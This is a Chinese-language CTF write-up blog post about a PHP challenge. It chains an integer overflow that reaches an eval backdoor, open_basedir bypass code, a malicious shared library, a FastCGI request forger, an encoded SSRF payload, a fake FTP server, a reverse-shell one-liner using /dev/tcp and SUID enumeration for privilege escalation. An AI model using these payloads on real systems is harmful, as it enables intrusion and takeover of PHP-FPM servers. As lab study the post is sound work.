第一次打FPM/FastCGI的题,实际上也是第一次接触打中间件的题,刚开始是在陇原战“疫”碰到了一道类似的题,也是改编的这道,为了更好地复现这道题,理解这道题,我去把Fastcgi 协议分析与 PHP-FPM 攻击方法都看了几遍。攻击的实操部分,本来想着复现,但那个鬼环境一直差点意思。这里不得不提中国网安界大神——phith0n,P神开创的vulhub确实帮了国内外网络安全学习者的大忙,让安全研究者更加专注于漏洞原理本身,而不是忙于搭建复杂的漏洞环境。但不幸的事,这个洞的环境坏了,问了P神说官网要下架,让我去GitHub找找,可惜GitHub也没有。。。
所以PHP-FPM攻击实操等我搭好环境再来搞,Fastcgi协议有时间再来分析。
开启靶机,这个赛被人戏称广告杯,玩笑归玩笑,这题质量很高的,打开如下图
但好像比赛时图片是火炬
不管了,博客不能水
题目给了一个web.zip,解压后有两个文件,分别是user.php、add_api.php。为了方便日后我自己或者他人阅读,把代码贴出来:
user.php:
add_api.php:
1<?php
2include "user.php";
3if($user=unserialize($_COOKIE["data"])){
4 $count[++$user->count]=1;
5 if($count[]=1){
6 $user->count+=1;
7 setcookie("data",serialize($user));
8 }else{
9 eval($_GET["backdoor"]);
10 }
11}else{
12 $user=new User;
13 $user->count=1;
14 setcookie("data",serialize($user));
15}
16?>
1、整数溢出
代码很明显,add_api.php包含user.php,并且将Cookie里的data反序列化为$user对象,将$user里的count值+1作为$count的下标,并给此元素赋值为1。随后,进行if语句判断,$count[]=1的意思就是给此数组末尾添加一个元素,值为1。那这里第一个考点就已经出来了,倘若我将count设为最大值-1
的数字,那么在经历过自增后,该count为最大值,再进行$count[]=1操作,由于数组已经达到最大值了,数组末尾无法添加元素,所以此操作出错,执行else语句。我们便可以RCE。不同的操作系统PHP最大值是不一样的,32位上为2147483647
,64位上为9223372036854775807
,所以这里我们应该设置count为9223372036854775806
,写个序列化脚本生成序列化字符串
payload:O:4:"User":1:{s:5:"count";i:9223372036854775806;}
2、拿webshell
注意else里的eval函数,不要直接传个$_POST[cmd];
,eval是执行里面的语句,这个语句才是我们拿shell的点,所以应该传入eval($_POST[cmd]);
,注意Cookie要url编码。还有接收参数是在add_api.php这个文件里的,所以你要传给这个文件。
3、绕过base_dir
进入shell后,看到根目录底下是有flag的,可是没有读取权限,这个时候我们访问phpinfo查看相关配置信息,hackbar传就可以看了
可一看到配置里是存在FPM/FastCGI的,而且disable_function禁的太多了,openbase_dir也只开放了html,这里我们需要先绕过openbase_dir读取到其他重要文件
1<?php
2mkdir('bypass');
3chdir('bypass');
4ini_set('open_basedir','..');
5chdir('..');chdir('..');chdir('..');
6chdir('..');chdir('..');chdir('..');chdir('..');
7ini_set('open_basedir','/');
8var_dump(file_get_contents("/usr/local/etc/php/php.ini"));
在输出中我们可以看到extension=easy_bypass.so
,这是加载了异常so文件,看其他wp说是可以pwn的,我目前pwn没学多少还是算了。再读取nginx.conf文件看看
在这里看到了include /etc/nginx/sites-enabled/*;
,那直接去读nginx的默认配置
居然开着FastCGI服务,那基本可以确定是未授权打FPM RCE了
4、加载恶意so文件
编写so拓展
1#define _GNU_SOURCE
2#include <stdlib.h>
3#include <stdio.h>
4#include <string.h>
5
6__attribute__ ((__constructor__)) void preload (void){
7 system("ls / >/var/www/html/look");
8}
这个语句是将ls /
结果输出到look文件
编译:gcc evilso.c -fPIC -shared -o evilso.so
,使用Linux编译并上传至站点目录
5、编写文件处理
再写一个接收文件的php文件,这个文件用于接收恶意的fastcdi请求文件并写回主机,这里涉及到fastcgi的攻击原理,有时间再说。
1<?php
2 $file = $_GET['file'] ?? '/tmp/file';
3 $data = $_GET['data'] ?? ':)';
4 echo($file."</br>".$data."</br>");
5 var_dump(file_put_contents($file, $data));
6?>
6、伪造恶意FastCGI请求
网上亘古不变的伪造请求的代码,修改几个配置、路径就好
1<?php
2/**
3 * Note : Code is released under the GNU LGPL
4 *
5 * Please do not change the header of this file
6 *
7 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
8 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
9 * the License, or (at your option) any later version.
10 *
11 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
12 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
13 *
14 * See the GNU Lesser General Public License for more details.
15 */
16/**
17 * Handles communication with a FastCGI application
18 *
19 * @author Pierrick Charron <pierrick@webstart.fr>
20 * @version 1.0
21 */
22class FCGIClient
23{
24 const VERSION_1 = 1;
25 const BEGIN_REQUEST = 1;
26 const ABORT_REQUEST = 2;
27 const END_REQUEST = 3;
28 const PARAMS = 4;
29 const STDIN = 5;
30 const STDOUT = 6;
31 const STDERR = 7;
32 const DATA = 8;
33 const GET_VALUES = 9;
34 const GET_VALUES_RESULT = 10;
35 const UNKNOWN_TYPE = 11;
36 const MAXTYPE = self::UNKNOWN_TYPE;
37 const RESPONDER = 1;
38 const AUTHORIZER = 2;
39 const FILTER = 3;
40 const REQUEST_COMPLETE = 0;
41 const CANT_MPX_CONN = 1;
42 const OVERLOADED = 2;
43 const UNKNOWN_ROLE = 3;
44 const MAX_CONNS = 'MAX_CONNS';
45 const MAX_REQS = 'MAX_REQS';
46 const MPXS_CONNS = 'MPXS_CONNS';
47 const HEADER_LEN = 8;
48 /**
49 * Socket
50 * @var Resource
51 */
52 private $_sock = null;
53 /**
54 * Host
55 * @var String
56 */
57 private $_host = null;
58 /**
59 * Port
60 * @var Integer
61 */
62 private $_port = null;
63 /**
64 * Keep Alive
65 * @var Boolean
66 */
67 private $_keepAlive = false;
68 /**
69 * Constructor
70 *
71 * @param String $host Host of the FastCGI application
72 * @param Integer $port Port of the FastCGI application
73 */
74 public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
75 {
76 $this->_host = $host;
77 $this->_port = $port;
78 }
79 /**
80 * Define whether or not the FastCGI application should keep the connection
81 * alive at the end of a request
82 *
83 * @param Boolean $b true if the connection should stay alive, false otherwise
84 */
85 public function setKeepAlive($b)
86 {
87 $this->_keepAlive = (boolean)$b;
88 if (!$this->_keepAlive && $this->_sock) {
89 fclose($this->_sock);
90 }
91 }
92 /**
93 * Get the keep alive status
94 *
95 * @return Boolean true if the connection should stay alive, false otherwise
96 */
97 public function getKeepAlive()
98 {
99 return $this->_keepAlive;
100 }
101 /**
102 * Create a connection to the FastCGI application
103 */
104 private function connect()
105 {
106 if (!$this->_sock) {
107 //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
108 $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
109 if (!$this->_sock) {
110 throw new Exception('Unable to connect to FastCGI application');
111 }
112 }
113 }
114 /**
115 * Build a FastCGI packet
116 *
117 * @param Integer $type Type of the packet
118 * @param String $content Content of the packet
119 * @param Integer $requestId RequestId
120 */
121 private function buildPacket($type, $content, $requestId = 1)
122 {
123 $clen = strlen($content);
124 return chr(self::VERSION_1) /* version */
125 . chr($type) /* type */
126 . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
127 . chr($requestId & 0xFF) /* requestIdB0 */
128 . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
129 . chr($clen & 0xFF) /* contentLengthB0 */
130 . chr(0) /* paddingLength */
131 . chr(0) /* reserved */
132 . $content; /* content */
133 }
134 /**
135 * Build an FastCGI Name value pair
136 *
137 * @param String $name Name
138 * @param String $value Value
139 * @return String FastCGI Name value pair
140 */
141 private function buildNvpair($name, $value)
142 {
143 $nlen = strlen($name);
144 $vlen = strlen($value);
145 if ($nlen < 128) {
146 /* nameLengthB0 */
147 $nvpair = chr($nlen);
148 } else {
149 /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
150 $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
151 }
152 if ($vlen < 128) {
153 /* valueLengthB0 */
154 $nvpair .= chr($vlen);
155 } else {
156 /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
157 $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
158 }
159 /* nameData & valueData */
160 return $nvpair . $name . $value;
161 }
162 /**
163 * Read a set of FastCGI Name value pairs
164 *
165 * @param String $data Data containing the set of FastCGI NVPair
166 * @return array of NVPair
167 */
168 private function readNvpair($data, $length = null)
169 {
170 $array = array();
171 if ($length === null) {
172 $length = strlen($data);
173 }
174 $p = 0;
175 while ($p != $length) {
176 $nlen = ord($data{$p++});
177 if ($nlen >= 128) {
178 $nlen = ($nlen & 0x7F << 24);
179 $nlen |= (ord($data{$p++}) << 16);
180 $nlen |= (ord($data{$p++}) << 8);
181 $nlen |= (ord($data{$p++}));
182 }
183 $vlen = ord($data{$p++});
184 if ($vlen >= 128) {
185 $vlen = ($nlen & 0x7F << 24);
186 $vlen |= (ord($data{$p++}) << 16);
187 $vlen |= (ord($data{$p++}) << 8);
188 $vlen |= (ord($data{$p++}));
189 }
190 $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
191 $p += ($nlen + $vlen);
192 }
193 return $array;
194 }
195 /**
196 * Decode a FastCGI Packet
197 *
198 * @param String $data String containing all the packet
199 * @return array
200 */
201 private function decodePacketHeader($data)
202 {
203 $ret = array();
204 $ret['version'] = ord($data{0});
205 $ret['type'] = ord($data{1});
206 $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
207 $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
208 $ret['paddingLength'] = ord($data{6});
209 $ret['reserved'] = ord($data{7});
210 return $ret;
211 }
212 /**
213 * Read a FastCGI Packet
214 *
215 * @return array
216 */
217 private function readPacket()
218 {
219 if ($packet = fread($this->_sock, self::HEADER_LEN)) {
220 $resp = $this->decodePacketHeader($packet);
221 $resp['content'] = '';
222 if ($resp['contentLength']) {
223 $len = $resp['contentLength'];
224 while ($len && $buf=fread($this->_sock, $len)) {
225 $len -= strlen($buf);
226 $resp['content'] .= $buf;
227 }
228 }
229 if ($resp['paddingLength']) {
230 $buf=fread($this->_sock, $resp['paddingLength']);
231 }
232 return $resp;
233 } else {
234 return false;
235 }
236 }
237 /**
238 * Get Informations on the FastCGI application
239 *
240 * @param array $requestedInfo information to retrieve
241 * @return array
242 */
243 public function getValues(array $requestedInfo)
244 {
245 $this->connect();
246 $request = '';
247 foreach ($requestedInfo as $info) {
248 $request .= $this->buildNvpair($info, '');
249 }
250 fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
251 $resp = $this->readPacket();
252 if ($resp['type'] == self::GET_VALUES_RESULT) {
253 return $this->readNvpair($resp['content'], $resp['length']);
254 } else {
255 throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
256 }
257 }
258 /**
259 * Execute a request to the FastCGI application
260 *
261 * @param array $params Array of parameters
262 * @param String $stdin Content
263 * @return String
264 */
265 public function request(array $params, $stdin)
266 {
267 $response = '';
268// $this->connect();
269 $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
270 $paramsRequest = '';
271 foreach ($params as $key => $value) {
272 $paramsRequest .= $this->buildNvpair($key, $value);
273 }
274 if ($paramsRequest) {
275 $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
276 }
277 $request .= $this->buildPacket(self::PARAMS, '');
278 if ($stdin) {
279 $request .= $this->buildPacket(self::STDIN, $stdin);
280 }
281 $request .= $this->buildPacket(self::STDIN, '');
282 echo('?file=ftp://ip:9999/&data='.urlencode($request));
283// fwrite($this->_sock, $request);
284// do {
285// $resp = $this->readPacket();
286// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
287// $response .= $resp['content'];
288// }
289// } while ($resp && $resp['type'] != self::END_REQUEST);
290// var_dump($resp);
291// if (!is_array($resp)) {
292// throw new Exception('Bad request');
293// }
294// switch (ord($resp['content']{4})) {
295// case self::CANT_MPX_CONN:
296// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
297// break;
298// case self::OVERLOADED:
299// throw new Exception('New request rejected; too busy [OVERLOADED]');
300// break;
301// case self::UNKNOWN_ROLE:
302// throw new Exception('Role value not known [UNKNOWN_ROLE]');
303// break;
304// case self::REQUEST_COMPLETE:
305// return $response;
306// }
307 }
308}
309?>
310<?php
311// real exploit start here
312//if (!isset($_REQUEST['cmd'])) {
313// die("Check your input\n");
314//}
315//if (!isset($_REQUEST['filepath'])) {
316// $filepath = __FILE__;
317//}else{
318// $filepath = $_REQUEST['filepath'];
319//}
320
321$filepath = "/var/www/html/add_api.php";
322$req = '/'.basename($filepath);
323$uri = $req .'?'.'command=whoami';
324$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
325$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
326$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = evilso.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
327$params = array(
328 'GATEWAY_INTERFACE' => 'FastCGI/1.0',
329 'REQUEST_METHOD' => 'POST',
330 'SCRIPT_FILENAME' => $filepath,
331 'SCRIPT_NAME' => $req,
332 'QUERY_STRING' => 'command=whoami',
333 'REQUEST_URI' => $uri,
334 'DOCUMENT_URI' => $req,
335#'DOCUMENT_ROOT' => '/',
336 'PHP_VALUE' => $php_value,
337 'SERVER_SOFTWARE' => 'ctfking/Tajang',
338 'REMOTE_ADDR' => '127.0.0.1',
339 'REMOTE_PORT' => '9001', // 找准服务端口
340 'SERVER_ADDR' => '127.0.0.1',
341 'SERVER_PORT' => '80',
342 'SERVER_NAME' => 'localhost',
343 'SERVER_PROTOCOL' => 'HTTP/1.1',
344 'CONTENT_LENGTH' => strlen($code)
345);
346// print_r($_REQUEST);
347// print_r($params);
348//echo "Call: $uri\n\n";
349echo $client->request($params, $code)."\n";
350?>
运行此文件,此文件输出的payload即我们攻击的关键
payload:
1?file=ftp://ip:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BBPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evilso.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0ESERVER_SOFTWAREctfking%2FTajang%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
7、运行恶意FTP服务
在公网VPS上运行以下代码,注意云服务器需要打开防火墙里的端口,并且在有服务使用端口时才会开放端口,其他时候默认关闭
1import socket
2s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3s.bind(('0.0.0.0', 9999))
4s.listen(1)
5conn, addr = s.accept()
6conn.send(b'220 welcome\n')
7#Service ready for new user.
8#Client send anonymous username
9#USER anonymous
10conn.send(b'331 Please specify the password.\n')
11#User name okay, need password.
12#Client send anonymous password.
13#PASS anonymous
14conn.send(b'230 Login successful.\n')
15#User logged in, proceed. Logged out if appropriate.
16#TYPE I
17conn.send(b'200 Switching to Binary mode.\n')
18#Size /
19conn.send(b'550 Could not get the file size.\n')
20#EPSV (1)
21conn.send(b'150 ok\n')
22#PASV
23conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2) 注意打到9001端口的服务
24conn.send(b'150 Permission denied.\n')
25#QUIT
26conn.send(b'221 Goodbye.\n')
27conn.close()
这个恶意ftp服务就是使用9999端口
8、给我打
蓝色是我VPS IP打码了,我们看到输出的最后返回了int(681),这就是dump出的数据包大小,这个时候就已经打通了,还记得编写so拓展时,把ls /
输出到look文件吗?访问look文件,下载后,打开里面也会有根目录的文件,但是你再编写一个语句为cat /flag
的so,还是没有flag的,因为权限不够
9、提权
既然可以执行恶意so文件,那我们写一个反弹shell的so就好
1#define _GNU_SOURCE
2#include <stdlib.h>
3#include <stdio.h>
4#include <string.h>
5
6__attribute__ ((__constructor__)) void preload (void){
7 system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
8}
跟之前一样的编译,把老的so覆盖吧,这样也不用改payload,vps运行恶意ftp程序,再开一个终端开启监听,再执行一遍刚才的payload
成功反弹shell,因为没有权限的原因,所以我们仍然无法读取flag,这里我们需要提权,最常见的就是suid提权,使用find / -perm -u=s -type f 2>/dev/null
查看具有suid权限的文件,这个要等一会才能出来。
php就有权限,那么可以直接php -a
进入交互模式,直接读取flag文件,注意不要直接读取flag,还是要绕过openbase_dir的,你可以上传一个php文件,直接运行,也可以在交互模式下绕过并读取,建议使用文件,方便点,我这里使用的交互模式
出了,红线上面是输错了,XShell删除都不行,好像是编码原因。
这题质量是真高,复现也学了很多东西,现在把陇原那个看看,把FastCGI 协议和PHP-FPM 攻击方法再搞搞,Pwn也要看了,然后刷题。最近还有安洵杯,暗泉杯,西湖论剑太难了没进线下,这俩不知道后面打得怎么样,加入了一个CTF队伍,船山院士!!!第一次加入正规CTF队伍,希望多学点技术,不拖累队友。